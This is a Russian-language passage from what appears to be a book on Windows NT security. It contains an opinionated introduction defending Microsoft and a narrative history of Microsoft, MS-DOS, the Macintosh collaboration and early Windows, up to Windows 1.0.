С другой стороны, каждый волен свой выбор делать самостоятельно. И не надо называть Microsoft монополистом - помимо нее существует мир UNIX, BE OS, OS /2, а, в крайнем случае, можно отважится написать операционную систему самостоятельно (не боги горшки обжигают). А добровольно выбирать продукты Microsoft и потом же поливать ее грязью, это, извините, несерьезно. Ведь существует же множество гораздо худших компаний, и никто не озабочен критикой их продукции. Не нравится, - не используй.

Кстати, у конкурентов Microsoft дела обстоят не лучшим образом. Клоны UNIX все как один сложны в установке и настойке. Если у вас нет знакомого гуру, шансы заставить систему работать стабильно, невелики. Да и ошибок в продуктах UNIX не меньше, чем у Microsoft (убедиться в этом можно, посетив, например, www.rootshell.com). Словом, рай на земле невозможен, но все недовольство почему-то обрушивается именно на компанию Microsoft.

Тем временем, операционные системы Windows продолжают захватывать рынок, проникая всюду - от карманных миникомпьютеров, до высокопроизводительных серверов и рабочих станций. Активно идет перенос программного обеспечения с платформы UNIX на Windows, а вместе с этим мигрируют и сами разработчики.

Никто не сомневается: ближайшие годы пройдут под эмблемой Microsoft, в течение которых Windows NT продолжит затопление серверных приложений. Но, в отличие от хорошо изученной UNIX, Windows NT склонна к непредвиденным сюрпризам. Неудивительно, что она оказывается в центре внимания всех лиц, связанных с безопасностью.

«…человек без сюрприза внутри, в своем ящике, неинтересен»

М. Булгаков. “Мастер и Маргарита»

История возникновения и эволюции Windows

O Хаос семидесятых

O BASIC - первые шаги Microsoft

O Краткая история создания IBM PC

O История CP/M

O Возникновение MS-DOS

O Становление MS-DOS стандартной системой IBM PC

O Появление MS-DOS 2.0

O Изобретение мыши и графического интерфейса в Palo Alto Research Center

O Первая операционная система Apple Lisa

O Вклад Microsoft в разработку операционной системы для Apple Macintosh

O Причины падения Apple, раскол между Apple и Microsoft

O Возникновение Windows

O Причины неуспеха первых версий Windows

O Появление PC AT

O Microsoft переносит UNIX на PC и сосредотачивает на ней все усилия

O Причины неудачи первых переносов UNIX-клонов на PC

O Возврат Microsoft к совершенствованию MS-DOS, выпуск MS-DOS 3.0

O Попытки сторонних производителей привить к MS-DOS многозадачность

O Появление и исчезновение TopView, DESQview

O Противостояние микропроцессора Intel 80386 майнфреймам IBM

O Появление PC на базе Intel 80386, падение спроса на майнфреймы IBM

O Альянс Microsoft и IBM

O Разработка OS/2 - универсальной масштабируемой системы

O Попытка создания OfficeVision - электронной системы документооборота

O Причины неудачи OS/2, раскол альянса

O Выход Windows 3.0, ее победоносное шествие

O Появление и провал оболочки GECOS

O Операционная система DR-DOS

O Приход в Microsoft Дейва Катлера, начало работы над Windows NT

O Причины низкой популярности Windows NT в первые годы ее существования

O Появление Windows 95

O Массовая миграция с MS-DOS на Windows 95

O Миграция с UNIX на Windows NT

O Конфликт Microsoft с Netscape

O Выпуск Windows 98

O Объединение Windows 98 и Windows NT в Windows 2000

O Угрозы монополизму Microsoft

Вначале существовал лишь вечный, безграничный, темный Хаос. В нем заключался источник жизни мира. Все возникло из безграничного Хаоса - весь мир и бессмертные боги. Из Хаоса произошла и богиня Земля - Гея. Широко раскинулась она, могучая, дающая жизнь всему, что живет и растет на ней. Далеко же под Землей, так далеко, как далеко от нас необъятное, светлое небо, в неизмеримой глубине родился мрачный Тартар - ужасная бездна, полная вечной тьмы. Из Хаоса, источника жизни, родилась и могучая сила, все оживляющая Любовь - Эрос. Начал создаваться мир. Безграничный Хаос породил Вечный Мрак - Эреб и темную Ночь - Нюкту. А от Ночи и Мрака произошли вечный Свет - Эфир и радостный светлый День - Гемера. Свет разлился по миру, и стали сменять друг друга ночь и день.

греческое видение сотворения мира

В конце семидесятых - начале восьмидесятых в мире бытовых компьютеров царил полный хаос. Десятки разнообразных моделей, несовместимых друг с другом, наводнили рынок, предлагая полный спектр всевозможных технических решений. Каждый производитель разрабатывал свою уникальную версию интерпретатора языка BASIC [115], совершенно не задумываясь о переносимости программного обеспечения (впрочем, какое тогда существовало программное обеспечение?). Практически каждая машина представляла «вещь в себе», замыкаясь на поставляемой вместе с компьютером кассете (в то время программы распространялись исключительно на кассетах). Общение с другими пользователями было практически невозможным, - ленты не обеспечивали переносимости даже на уровне данных, а диалекты BASIC различались между собой как русский и болгарский. Обучение программированию требовало наличия литературы, написанной с учетом особенностей конкретной модели, в противном случае многое приходилось домысливать самостоятельно. И самое обидное - накопленный опыт практически полностью обесценивался при переходе на другую платформу. И даже навыки печати приходилось вырабатывать заново, - клавиатуры-то менялись от модели к модели.

Усилиями компаний IBM, Intel и Microsoft этот хаос постепенно превратился в современный мир. Пускай не идеальный, и не совершенный, но способный выдержать многотысячную армию программистов и прокормить еще большее количество пользователей. Можно не любить Microsoft, но полностью отмахнуться от ее вклада в развитие программного и аппаратного обеспечения никому не удастся.

В целом анатомия компьютерного рынка предельно проста, - производители создают железо, программисты вдыхают в него жизнь, а пользователи все это покупают. Впрочем, нет, все происходит наоборот, пользователи покупают компьютеры, для которых существует программное обеспечение, а программисты пишут программы для наиболее раскупаемых компьютеров. Получается замкнутый круг - до тех пор, пока какая-нибудь модель не обрастет толстой шубой прикладных пакетов, никто не станет ее покупать, но кому интересно писать программы без малейших гарантий успешной реализации?

Теоретически, спустя достаточно продолжительный промежуток времени, любая модель способна накопить требуемое количество программного обеспечения, но практически все миникомпьютеры умирали быстрее, чем программисты успевали изучить документацию. Да и на что были способны эти игрушки? Перелистывая компьютерную литературу тех лет, не перестаешь удивляться фантазии авторов. «Планировать семейный бюджет» - семейный бюджет на компьютере? Не дешевле воспользоваться обычным калькулятором? (Например, в 1986 году компьютер «Электроника» стоил 600 рублей или 5-6 средних месячных зарплат, - это какой же должен быть доход от планирования, что бы окупить такие вложения в разумный срок). «Использовать как электронную записную книжку». Хорошая же записная книжка с ленточным накопителем и огромным телевизором с полным отсутствием принтера. «…увлекательно провести время». О! Видеоигры! Пускай убогие по современным понятиям, но тогда они выглядели так круто! Некоторые производители оценили масштабы перспективы и занялись игровыми приставками.

Совместимость могла бы помочь выбраться из ямы бытовым компьютерам. Но для этого требовалось бы создать масштабируемую модель, способную наращивать свою мощность без потери совместимости. Довести персональный компьютер от идеи до рыночного продукта были способны лишь крупные корпорации. Некоторым мелким компаниям порой удавалось какое-то время продержаться на голом энтузиазме, но рано или поздно сказывалось отсутствие опыта разработки подобных проектов и очередная модель уходила на свалку истории. Дольше всех на плаву оставались SPECTRUM-совместимые компьютеры, но закрытость архитектуры сдерживала развитие этой модели, а устойчивая репутация игровой платформы ограничивала рынок потребителей.

Имя Microsoft было хорошо известно в мире микрокомпьютеров. В те годы компания занималась разработкой интерпретаторов BASIC, активно продвигая их на рынок. А началось все в 1975 году, когда Билл Гейтс вместе с Полом Алленом загорелись идеей создания версии BASIC для микрокомпьютера Altair (Альтаир). К тому времени Билл уже имел опыт разработки подобных программ, выпустив пару лет назад интерпретатор Бейсика для PDP-8, и надеялся, что никаких непредвиденных проблем не возникнет.

Насколько же глубоко он заблуждался! Втиснуть все команды в четыре килобайта оперативной памяти «Альтаира» было немыслимо! «…создание Бейсика для “Альтаира” оказалось делом изнурительным. Иногда я часами ходил по комнате или раскачивался в кресле - так мне легче сосредоточиться на какой-нибудь идее - и думал, думал, думал… В этот период мы с Полом мало спали и путали день с ночью. Когда меня сваливал сон, я засыпал за столом или на полу. В отдельные дни я вообще ничего не ел и ни с кем не виделся. Но спустя 5 недель мы написали свой Бейсик - и родилась первая в мире компания, разрабатывающая программы для микрокомпьютеров. Чуть позже мы назвали ее Microsoft» - пиал Билл Гейтс в своей книге «Дорога в будущее».

Компания Microsoft родилась вместе с первыми микрокомпьютерами и активно содействовала их развитию. До этого их (микрокомпьютеры) никто не хотел воспринимать всерьез. Тот же Альтаир продавали без дисплея и клавиатуры, - микропроцессор Intel 8080, соединенный с шестнадцатью светодиодами, программировался шестнадцатью адресными переключателями, вынесенными на переднюю панель. Радиолюбители заставляли светодиоды перемигиваться самым причудливым образом, но остальных эта штука мало впечатала (отдать 397 долларов за бесполезную игрушку?!). Своим интерпретатором Бейсика Билл сумел заинтересовать руководство компании MITS, выпускавшей эти компьютеры.

Новинка пользователям пришлась по вкусу, - появилась возможность самостоятельно писать простые программы и использовать Альтаир для трудоемких научных и инженерных расчетов (ну не бухгалтеры же за ним сидели). Однако объем продаж Бейсика оказался намного ниже ожидаемого, вопреки его огромной популярности [116]. Причина очевидна - пиратство. Редкий потребитель с готовностью выложит кровно заработанные деньги, за продукт доступный и бесплатно.

Тем не менее, компания Microsoft не собиралась падать духом и продолжила совершенствование своего языка. Через год им заинтересовались фирмы-производители персональных компьютеров, растущие как грибы после дождя. Среди них оказались и компании Apple, DTC, General Electric, NCR, а так же другие.

Но интересы Microsoft не замыкались на Бейсике, - в 1977 году компания выпустила FORTRAN и начала активно сотрудничать с Commodore и Radio Shack. Вскоре появилась реализация COBOL для микропроцессоров 8080, Z-80 и 8085. Высокое качество кода (а Билл очень недурно программировал на ассемблере - невероятно, но факт!), отличная совместимость различных версий языков Microsoft, сделали ее продукцию стандартом де-факто и обеспечили господство компании на значительной части рынка.

Четвертое апреля 1979 года стало одной из первых знаменательных дат компании, - в этот день версия Бейсика для микропроцессора Intel 8080 получила премию ICP в миллион долларов. Эта награда, врученная Полу Аллену, становится первой наградой Microsoft. А меньше полугода спустя на свет появился Бейсик для 16-разрядных машин, оснащенных новым процессором Intel 8086.

Врезка «замечание» *

Происходящие за океаном события сильно повлияли и на российских (тогда еще советских) производителей, склонив их к тому же вездесущему Бейсику. Разработчики старого поколения с грустью замечали, программисты, начинающие постигать компьютер с изучения Бейсика, умственно оболванены без надежды на исцеление. Не то, чтобы все обстояло совсем не так (автор этой книги, как и все в его время, начинал с Бейсика, но это не помешало ему влюбиться в ассемблер, и освоить Си), но Бейсик все же калечил разум многих программистов и не известно чего в конечном счете принес больше - вреда или пользы.

Казалось, ничто не мешало стать Microsoft монополистом в области языков персональных компьютеров, но Билл Гейтс словно предчувствовал, что спустя несколько лет эти крошки станут никому не нужны, и программированием займутся профессионалы, которых Бейсиком не удивишь. А конкуренцию с производителями «серьезных» языков Microsoft вряд ли бы выдержала [117].

Тем временем, мало помалу, рынок персональных компьютеров вырос до нескольких десятков тысяч машин в год и продолжал расширяться нарастающими темпами. Никто еще не видел в микрокомпьютерах убийцу майнфреймов, но этот еще ничейный сегмент рынка в любой момент мог прибрать к своим рукам прыткий производитель.

Компания IBM, в то время неоспоримый лидер в производстве ЭВМ, однажды допустила большую ошибку, позволив фирме DEC наладить производство компьютеров для потребителей с «тощим» кошельком. Пока IBM высокомерно игнорировала интересы «бессеребряников», DEC сумела привлечь к себе огромное количество покупателей не только низшего, но и среднего звена, нанеся ощутимый урон продажам дорогостоящих майнфреймов IBM.

Не желая повторно наступать на те же грабли, руководство IBM приняло решение: в кратчайшие сроки и минимальными усилиями захватить рынок персональных компьютеров, выпустив собственную модель, значительно превосходящую изделия конкурентов. Первоначально планировалось приобрести одну из уже существующих компаний, - финансовые возможности IBM позволяли провернуть такую операцию совершенно безболезненно. Из двух потенциальных претендентов - Apple и Tandy, от последней отмахнулись практически сразу, - эта фирма выпускала все - батарейки, игрушки, часы, телефоны… компьютеры не были ее главным бизнесом, и польза такого приобретения выглядела очень сомнительной. Возможно, IBM стоило остановить свой выбор на Apple, но за Apple закрепилась репутация «несерьезной» компании, ориентированной на любителей, и она не имела достаточных производственных мощностей.

Поэтому, руководству IBM ничего не оставалось делать, как принять решение разрабатывать персональный компьютер самостоятельно. Явно не желая отрывать от дел опытных кадров, администрация поручила эту «безделицу» молодой группе инженеров [118], заодно желая выяснить насколько быстро и хорошо этот коллектив умеет работать. Главному конструктору Левису Эггбрехту (Lewis Eggebrecht) разрешили покупать готовые компоненты у сторонних производителей, а не разрабатывать (как это свойственно в IBM) все узлы компьютера самостоятельно.

Левис, не имеющий опыта в проектировании ЭВМ, обратился за помощью к фирме Microsoft, справедливо полагая, раз уж Microsoft пишет Бейсик для десятков моделей компьютеров, ей должны быть известны все сильные и слабые стороны «кремневых коней», и уж наверняка имеется свое видение идеального ПК.

У Microsoft действительно имелись свои соображения на этот счет. Лично Билл Гейтс убедил руководство IBM остановить выбор на дорогостоящем 16-разрядном процессоре. Медлительные 8-разрядные чипы не позволяли адресовать более 64 килобайт памяти [119] и походили скорее на любительские игрушки, чем на серьезные компьютеры. Но удорожать ПК - означало отсекать потенциальных покупателей. После долгих дискуссий выбор остановили на микропроцессоре Intel 8088 - 16-разрядном чипе с 8-разрядной шиной данных. Таким образом, все компоненты нового микрокомпьютера оказались 8-разрядными (в то время 8-разрядные микросхемы стоили существенно дешевле своих 16-разрядных собратьев), а программное обеспечение манипулировало 16-битовыми операциями, и в перспективе могло быть перенесено на Intel 8086 - подлинно 16-разрядный чип.

Высокая стоимость [120] накопителя на гибких дисков представляла собой существенную проблему, - компания не могла осмелиться включить дисковод в минимальную комплектацию ПК и оснастила компьютер магнитофонным адаптером, позволяющего хранить программы на обычных аудиокассетах. На этот случай в ПЗУ прошили вездесущий Бейсик, дабы не оставить пользователей один на один с голой машиной. Тут услуги Microsoft пришлись как нельзя кстати.

Но Бейсик в IBM PC не мог претендовать ни на что, кроме «альтернативы для бедных». Программистам и пользователям для комфортной работы была необходима операционная система. Пускай примитивная, убогая, но умеющая обращаться с дисками и загружать программы в память.

Подобные «операционные системы» в то время писали все кому не лень, но большинство разработок не уходило дальше компьютеров их создателей. Фирма Microsoft оценила возможные перспективы и с энтузиазмом приступила к разработке своей собственной ОС. В отсутствие опыта создания продуктов такого рода, логичнее всего было нанять специалиста, специализирующегося на проектировании операционных систем для микрокомпьютеров.

В это же самое время, [121] фирму Digital Research раздирали внутренние конфликты. Объявленная для 8086 компьютеров операционная система CP/M-86 оказалась к обещанному сроку не готова, а ведущий разработчик Тим Патерсон вопреки интересам компании приступил к разработке новой операционной системы. Словом, в результате возникших трений, Тим к своему удовольствию очутился в Microsoft [122], где смог заняться тем, что ему нравилось. Он ликвидировал наиболее слабые стороны CP/M-80, сохранив при этом основные функции и большинство структур данных, заботясь о легкости адоптации существующего программного обеспечения [123].

Так выглядела MS-DOS 1.0, распространяемая корпорацией IBM под названием PC-DOS 1.0

Новая система получила название MS-DOS, (Microsoft Disc Operations System) и умещалась всего в шести килобайтах оперативной памяти. Она сильно смахивала на CP/M - отсюда пошло пресловутое ограничение «восемь символов на имя файла и три - на расширение» (тогда памяти было так мало, что приходилось на всем экономить), и буквенное наименование дисков (“А” “B” “C” - впрочем “С” тогда еще не существовало).

Одно из слабых мест CP/M - невозможность манипулировать отдельными байтами на диске - минимальной логической единицей являлся 128-байтовый блок, целиком загружаемый в оперативную память за одну итерацию чтения. В MS-DOS появилась поддержка логической длины файла (CP/M позволяла сосчитать лишь число блоков, занятых файлом). Следуя традициям UNIX, с периферийными устройствами ввода-вывода стало возможно обращаться точь-в-точь как с файлами, а вместе с этим появилась и поддержка перенаправления ввода-вывода.

Произошли изменения и в управлении загрузкой исполняемых файлов. В CP/M существовал лишь один тип исполняемых файлов - com, представляющий собой «слепок» кода и данных программы, копируемой операционной системой в память без каких-либо изменений. Но такая простота оказалась хуже воровства, - никакой com-файл не мог превзойти размеры одного сегмента (что-то около 64 килобайт), потому что в нем использовалась относительная адресация, отсчитываемая от начала сегмента. В противном случае потребовалось бы указать абсолютный адрес памяти, но это было невозможно, - ведь заранее неизвестно по какому адресу операционная система загрузит файл. В результате появился формат exe (от executable), активно использующийся на протяжении нескольких последующих десятилетий. В отличие от com, загрузка exe файла происходит сложным образом, операционная система размещает код и данные в нескольких сегментах, заменяя все относительные ссылки абсолютными адресами, и только после этого передает программе управление.

Командный процессор, отделившись от ядра, перекочевал в отдельный файл - command.com, и любой разработчик при желании мог написать свою собственную оболочку [124]. В отличие от оболочек UNIX, командный процессор MS-DOS не только умел загружать программы с диска, но и содержал наиболее употребляемые команды, такие как “dir”, “cd”, “md”, “del” и другие. Такой прием значительно ускорял работу с медленными дисковыми накопителями.

Другие важные усовершенствования - наличие FAT и поддержка командных (bat) файлов значительно выделяли MS-DOS на фоне системы CP/M, не обладающей перечисленными выше достоинствами.

Современное поколение склонно ругать и насмехаться над MS-DOS, то по тем временами она смотрелась весьма прогрессивно и вполне удовлетворяла запросы рядового пользователя и программиста. Но история учит: рынок в первую очередь захватывают не совершенные технические идеи, а удачные маркетинговые ходы. Тем более, MS-DOS была не одинока, и компании приходилось сражаться с многочисленными конкурентами.

Если бы, как утверждают злые языки, целью Microsoft были бы деньги, только деньги, много-много денег, то любой на ее месте заломил бы за MS-DOS астрономическую сумму и… Но Билл Гейтс к «восторгу» конкурентов заключил с IBM легендарную сделку «за низкую, однократную выплату передали ей права на использование операционной системы на стольких компьютерах, сколько она сумеет реализовать».

Билл вовсе не собирался заниматься благотворительностью, - он смотрел в будущее. Главное, рассуждал он, захватить рынок, привлечь пользователей и разработчиков к собственной операционной системе. Пускай, на этом этапе неизбежны значительные финансовые потери, все окупится выпуском следующих версий, если удастся выдержать бой с конкурентами.

Расчет оказался верным. У компании IBM появился стимул продвигать MS-DOS на рынок, продавая ее всего за 60 долларов, в то время как убогая CP/M-86 стоила втрое дороже (175$), а UCSD Pascal P-System обходилась потребителю приблизительно в 450$.

Да, нехитрой ценовой политикой шло откровенное «подсаживание» покупателей на свой софт. Некоторые склонны считать такой бизнес «нечестным» [125], но это все же лучше спаривания втридорога посредственного продукта. А MS-DOS не только дешево стоила, но и удовлетворяла запросы потребителей, - иначе кто бы стал ее покупать?

А покупали MS-DOS настолько хорошо, что за короткое время она стала стандартом де-факто, и мысль устанавливать на IBM PC какую-то другую операционную систему большинству просто не приходила в голову. Однако одна лишь ценовая политика не могла обеспечить победу в жесткой конкурентной борьбе - пиратство в те времена существовало в значительно больших масштабах, нежели сейчас. А в ряде стран, таких как, Советский Союз, единственным способом распространения программного обеспечения оказывалось его нелегальное копирование друг у друга.

Помимо MS-DOS, для первого в IBM PC Microsoft создала ряд программных пакетов, включая языки программирования COBOL, BASIC, Pascal и другие приложения. С самого начала Microsoft делала ставку на программистов, - если программисты будут писать под MS-DOS, то и пользователи начнут устанавливать именно эту операционную систему. В свою очередь разработчики станут создавать приложения для MS-DOS, ориентируясь на массового потребителя (какой программист захочет писать программы для системы, которая ни у кого не установлена?). Тогда покупатели, не задумываясь, выберут MS-DOS, стремясь приобщиться к миру огромного количества программного обеспечения, написанного для этой операционной системы. «…чем больше покупают эту машину, тем больше программ создают именно для нее. Когда модель достигает высокого уровня популярности, начинается цикл положительной обратной связи, и объем продаж еще больше возрастает», - писал Билл Гейтс в свой книге «Дорога в будущее».

Но как сделать первый шаг и закрутить маховик «программисты®программы®пользователи®программисты»? Кто ринется разрабатывать приложения под новую операционную систему, не убедившись в ее популярности среди пользователей? Какой пользователь приобретет операционную систему, если для нее практически не существует приложений?

Существует два выхода из подобного тупика - либо фирма-разработчик ОС, самостоятельно начинает разрабатывать к ней программное обеспечение, либо привлекает программистов всеми доступными методами. Компания Microsoft вопреки пословице «за двумя зайцами погонишься…» выбрала оба пути.

Она приступила к разработке офисных пакетов и продвинутых средств программирования, одновременно привлекая программистов открытым документированием операционной системы и проведением различных конференций, собраний и семинаров. Пускай, все происходящее вызывало улыбку профессионалов (смотри главу «История создания и эволюции UNIX» “Где-то в 1993 году СП Диалог пригласило Б. Гейтса, который выступил с лекцией. Было много народу, в том числе и юниксоидов. Слушали его с иронией и усмешкой. Владелец купленного в Силиконовой Долине DOS-а и соавтор Бейсика не вызывал у нас ничего, кроме презрительной усмешки…”), но позиция Microsoft вызывала симпатии у начинающих разработчиков (все когда-то начинали) и они становились под ее знамена.

«Главное, чего я боялся в те годы» вспоминает Билл Гейтс [126] «вынырнет откуда-нибудь другая компания и отобьет у нас рынок. Особенно меня беспокоило несколько маленьких фирм, занимавшихся разработкой либо микропроцессорных чипов, либо программного обеспечения, но, к счастью для нас, ни одна из них не видела рынок программных продуктов так, как видели его мы.

Кроме того, всегда существовала и такая угроза: кто-то из крупных производителей вычислительной техники возьмет да и смаштабирует программное обеспечение своих больших машин под компьютеры на базе микропроцессоров. IBM и DEC имели целые библиотеки мощных программ. Но Фортуна не отвернулась от Microsoft: ни один из серьезных производителей так и не стал переносить архитектуру и программное обеспечение своих компьютеров в индустрию “персоналок”».

Успех пришел неожиданно быстро, - уже к ноябрю 1982 года свыше пятидесяти производителей персональных компьютеров приобрели у Microsoft лицензию на MS-DOS 1.0. Большинство компьютеров продавались с уже установленной операционной системой фирмы Microsoft. Ощутимого дохода компания по-прежнему не имела, зато прочно закрепилась на рынке и уже перестала волноваться за свое будущее: что бы ни предприняли конкуренты, программное обеспечение, накопленное для MS-DOS, не позволило бы этой системе исчезнуть в мгновение ока.

Но репутация лидера вынуждала Microsoft бежать впереди всех, - совершенствовать операционную систему, удовлетворяя растущие потребности покупателей. Мощным стимулом к переработке MS-DOS стал выпуск фирмой IBM персонального компьютера PC XT, среди прочих новшеств оснащенного жестким диском на 10 мегабайт. Это породило следующую проблему: FAT ограничивала максимальное количество файлов на одном носителе. Для дискет такое ограничение несущественно и редко дает о себе знать, но жесткий диск - совсем другое дело. Даже если бы, доработав FAT, Microsoft сумела бы избавится от этого ограничения, то какой бы пользователь смог разобраться с тысячами файлов, сваленными в одну беспорядочную кучу?

Вторая версия MS-DOS сильно походила на молодую UNIX - в ней появилась иерархическая файловая система и устанавливаемые драйвера устройств. Конечно, виртуальной памяти и многозадачности по-прежнему не было, но можно подумать - они от рождения имелись в UNIX! К сожалению, по ни кому не известным причинам, разработчики использовали для разделения каталогов обратный слеш, - наклонную черту слева на права (быть может, кто-то из них был левшой?).

В управлении файлами произошли значительные изменения. На смену неудобным блокам FCB, полученным в наследство от CP/M, в MS-DOS появились дескрипторы, значительно упростившие операции записи - чтения.

MS-DOS 2.0

Врезка «информация [127]»
Идеальный ПК - 1983 года
Процессор: Intel 8088/8 МГц
ОЗУ: 256 Кбайт
Внешняя память: накопитель на 360-Кбайт 5,25" гибких дисках,
10-Мбайт жесткий диск
Монитор: 12" монохромный с видеоплатой Hercules
ОС: MS-DOS 2.0
Цена: 4995 долл.

Новые системные функции оказалась настолько удачны, что во всех последующих версиях не претерпевали никаких революционных изменений. Они так понравились программистам, что большинство из них стало писать программы, требующие на компьютере именно MS-DOS 2.0, и уже не работающие ни с CP/M, ни с MS-DOS 1.0

В свою очередь пользователи переходили на MS-DOS 2.0 ради совместимости с новыми программами. Ситуацию заметно подогрел выпуск компанией Microsoft текстового редактора Word 1.0 для MS-DOS 2.0. А вскоре [128] дочернее предприятие корпорации Microsoft - фирма VisiCorp создала потрясающую электронную таблицу, работающую под управлением MS-DOS, которая требовала, по крайней мере, 512 килобайт памяти и жесткого диска в придачу. Это активно способствовало пересаживанию пользователей на новую аппаратуру (по тем временам подобная конфигурация все еще оставалась роскошью).

Спустя короткое время CP/M канула в песок истории, а IBM отказалась от развития Pascal-P System, и на рынке операционных систем для персональных компьютеров в гордом одиночестве осталась одна Microsoft. Казалось, ничто не угрожало ее благополучию, но события развивались иначе.

Пользователи компьютеров всегда делились на два лагеря, - одни из них видели в куче железа забавную головоломку и уникальное средство время провождения, - чем сложнее оказывался компьютер, тем интересней становилось его изучение. Но основные покупатели - бизнесмены и клерки, воспринимали ЭВМ, как конторские счеты - подручный инструмент своей работы и туманный текстовой интерфейс у них не вызывал никакого восторга, а скорее смесь разочарования с сожалением.

Пока академические круги бились над разработкой языков программирования, близких по семантике к разговорному тексту, инженеры исследовательского центра Palo Alto Research Center (подразделение фирмы XEROX) натолкнулись на любопытное открытие, - оказалось, общаться с компьютером становится значительно легче, когда элементы интерфейса представляются графическими изображениями. Например, команда вывода текста на печать может быть изображена в виде принтера. Стоит только повести курсор… но клавиатура плохое средство перемещения курсора по экрану (вы, когда ни будь, пробовали работать с Windows без мыши?), поэтому конструкторам пришлось приступить к разработке манипулятора, сконструированного специально для управления курсором. Через некоторое время такое устройство удалось разработать и за отдаленное сходство с длиннохвостым грызуном, его окрестили «мышью» (mouse). Это сейчас графический интерфейс кажется самоочевидным и само собой разумеющимся, а до тех пока его не удалось изобрести, такой способ общения с компьютером никому и в голову не приходил!

Спустя короткое время на рынке появляются сразу две графические системы - XEROX Star и Apple Lisa. Обе дорогие (например, стоимость Lisa превышала 10 тысяч долларов), построенные на ненадежном железе собственной разработки, ни с чем не совместимые, практически не имеющие никакого программного обеспечения, они, несмотря на вопиющие недостатки, все же вызывали интерес покупателей, не желающих обременять себя изучением команд текстового интерфейса. Потом, графические иконки были просто красивы и очаровывали потребителей одним своим видом. Впрочем, поклонники MS-DOS все эти финтифлюшки в шутку окрестили WIMP-интерфейсом (wimp в переводе с английского обыватель, дебил, но в то же время это аббревиатура от Windows, Icons, Mice, Pointers - Окна, Пиктограммы, Мышь, Указатели).

Шутки - шутками, но Билл Гейтс предчувствовал: текстовой интерфейс бесконечно долго не продержится. Стоит только замешкаться, как конкуренты возьмут верх, вытолкнув его (его, Больного Билла!) на задворки истории. Создание удобной графической системы - дело серьезное и всегда требует многолетних усилий множества программистов. А Microsoft до этого времени совсем не сталкивалась с графикой и не имела никакого опыта таких разработок [129].

И вот в исторический день - 10 ноября 1983 корпорация Microsoft объявила о начале разработки Windows - графической среды для IBM XT. На самом же деле, Билл решил «попрактиковаться на кошках», приняв участие в создании Apple Macintosh. В тесном сотрудничестве двум компаниям удается создать полностью графический интерфейс (да, и Macintosh отмечен отпечатком Microsoft). Отталкиваясь от идей, впервые нащупанных фирмой XEROX, разработчики вносили все новые и новые элементы, пока, наконец, не поняли - слишком перегруженный интерфейс сбивает пользователей стоку сильнее мрачной командной строки. И начался обратный процесс - выкидывания всего лишнего, что только удавалось выкинуть. От полного идеала разработчиков отделяли десятки лет напряженной работы, но минимального комфорта сумели достичь уже к середине восьмидесятых.

Но никакой компьютер не станут покупать, пока тот не обрастет толстой шубой программного обеспечения. Это понимали обе компании, но Apple не имела никакого опыта создания офисного программного обеспечения и вся работа легла на плечи Microsoft. Она перенесла Microsoft Word на операционную систему Macintosh (вернее, заново переписала его практически с нуля, ведь Word 1.0 ориентировался исключительно на текстовой интерфейс), и создала электронную таблицу Microsoft Excel, приобретая навыки разработки графических приложений.

Если бы не промахи компании Apple, компьютеры Macintosh в короткое время смогли захватить рынок, вытеснив остальных конкурентов. Но Стив Джобс, вопреки всем советам Билла Гейтса, отказался продавать лицензии производство Macintosh сторонним компаниям и ревностно защитил архитектуру, графический интерфейс и саму операционную систему множеством патентов. «Здесь проявился традиционный подход, свойственный многим производителям оборудования: хочешь это программное обеспечение - купи наши компьютеры» писал Билл Гейтс.

Мрачные прогнозы Билла оправдались неожиданно скоро, - скромные производственные мощности Apple не смогли удовлетворить и половины покупателей и те, не дожидаясь у моря погоды, переметнулись к другим поставщикам. Обиднее всего для Microsoft оказался отказ в получении лицензии на результат совместной разработки (вот так - программировать значит, вместе, а… но бизнес не знает «а»).

Поэтому, Биллу ничего не оставалось, как приступить к разработке графической операционной системы самостоятельно. Чудовищно отставая от намеченного графика, первая версия Windows вышла в свет 20 ноября 1985 года, - значительно отставая от Macintosh [130]. Скромные возможности микропроцессора Intel 8086 и ограниченный объем памяти не позволили реализовать все задуманные возможности. Появилась мнимая многозадачность, - пользователь мог одновременно открывать несколько окон, и переключаться между ними, но перекрытий окон не допускалось, и внешне оболочка сильно смахивала на Microsoft Word для MS-DOS, но в графическом исполнении.

Рисунок 068 Так выглядела Windows 1.0

А корпоративный мир в то время активно использовал WordPerfect и Lotus 1-2-3, работающие под управлением MS-DOS, и Windows оказалась никому не нужна. Компания Microsoft прилгала значительные усилия в продвижении Windows на рынок, даже ухитрилась заручиться поддержкой 23 производителей компьютерной техники [131] и несколькими крупными ресселерами программного обеспечения, продемонстрировала возможности Windows на выставке COMDEX, но все оказалось тщетно, - рынок еще не созрел. Пользователи уже успели привыкнуть к текстовому режиму MS-DOS, а в многозадачности не видели никакого проку, - основную часть времени приходилось работать с одним приложением.

Сложность освоения Windows (вы помните тот день, когда создали свою первую программу под Windows, - пол сотни витиеватых строк кода на Си с гордостью выводили на экран «Привет, Мир!») отталкивала программистов, не видящих никакого резона переходить с привычной малютки MS-DOS на прожорливые окошки.

Оказалось, не так сложно разработать операционную систему [132], как склонить пользователей и программистов к ее использованию. Тем более, возможности MS-DOS всех вполне устраивали, и менять «шило» на «мыло» никому не хотелось. Поэтому, корпорация Microsoft, разочарованная результатами поддержки сторонних компаний, начала активно действовать самостоятельно.

Врезка «замечание»

Здесь нужно отметить вторую важную черту стиля работы Microsoft: помимо свойственной ей склонности к рискованным ходам, она готова настойчиво вести многолетние проекты, успех которых сначала не очень очевиден и достигается тем не менее, несмотря на период порой весьма серьезных неудач. Успех пришел к Windows только в начале 90-х годов с появлением версии 3.1 - именно тогда начался массовый переход пользователей ПК с MS-DOS на Windows.

Андрей Колесов «Время Windows NT закончилось, забудьте! Новые технологии становятся стандартными»

Важным шагом в продвижении Windows стала передача инструментария для разработок приложений под Windows независимым продавцам программного обеспечения. Это был первый опыт Microsoft в составлении документации подобного рода. Результат получился не то, чтобы совсем уж плох, но требовал огромных усилий для изучения, и не вызвал интереса разработчиков. Осваивали Windows лишь немногочисленные одержимые программисты, - те, кому она пришлась по душе. «Груда вываленных на стол бумаги и дискет было начальной версией пакета Microsoft Windows Software Development Kit (SDK) вместе с компилятором С. Автор забрал эту груду домой, инсталлировал SDK и, почти после шести месяцев непрерывных неудач, стал программистом для Windows. Во время этого эксперимента с обучением и борьбы с документацией, ему не раз приходила в голову мысль о том, что он мог бы объяснить содержимое этого пакета гораздо лучше, чем это делает Microsoft» - вспоминал Ч. Петзолд.

